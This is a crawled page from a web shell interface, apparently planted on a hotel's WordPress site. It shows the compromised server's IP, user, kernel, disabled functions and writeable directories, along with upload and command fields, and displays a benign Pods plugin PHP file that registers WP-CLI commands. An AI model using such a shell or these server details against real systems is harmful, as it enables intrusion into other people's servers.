403Webshell
Server IP : 177.55.116.72  /  Your IP : 216.73.217.104
Web Server : Apache
System : Linux UBAPCWEB27 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
User : web_hotelpraiadoc ( 3326)
PHP Version : 8.2.20
Disable Function : proc_open, passthru, escapeshellcmd, exec, shell_exec, system, ini_alter, dl, popen, php_check_syntax, show_source, highlight_file, symlink, link, openlog, apache_child_terminate
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/hotelpraiadoconde.com.br/public/wp-content/plugins/pods/src/Pods/CLI/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotelpraiadoconde.com.br/public/wp-content/plugins/pods/src/Pods/CLI/Service_Provider.php
<?php

namespace Pods\CLI;

use Pods\CLI\Commands\Field;
use Pods\CLI\Commands\Group;
use Pods\CLI\Commands\Playbook;
use Pods\CLI\Commands\Pod;
use Pods\CLI\Commands\Tools;
use WP_CLI;

/**
 * Class Service_Provider
 *
 * Add CLI commands and objects.
 *
 * @since 2.8.0
 */
class Service_Provider extends \Pods\Service_Provider_Base {

	/**
	 * Binds and sets up implementations.
	 */
	public $namespace;

	/**
	 * Registers the classes and functionality needed for CLI.
	 *
	 * @since 2.8.0
	 */
	public function register() {
		$this->container->singleton( 'pods.cli.commands.pods.pod', Pod::class, [ 'hook' ] );
		$this->container->singleton( 'pods.cli.commands.pods.group', Group::class, [ 'hook' ] );
		$this->container->singleton( 'pods.cli.commands.pods.field', Field::class, [ 'hook' ] );

		$this->hooks();
	}

	/**
	 * Hooks all the methods and actions the class needs.
	 *
	 * @since 2.8.0
	 */
	protected function hooks() {
		// Add dynamic commands.
		pods_container( 'pods.cli.commands.pods.pod' );
		pods_container( 'pods.cli.commands.pods.group' );
		pods_container( 'pods.cli.commands.pods.field' );

		// Add static commands.
		if ( defined( 'WP_CLI' ) ) {
			WP_CLI::add_command( 'pods playbook', Playbook::class );
			WP_CLI::add_command( 'pods tools', Tools::class );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit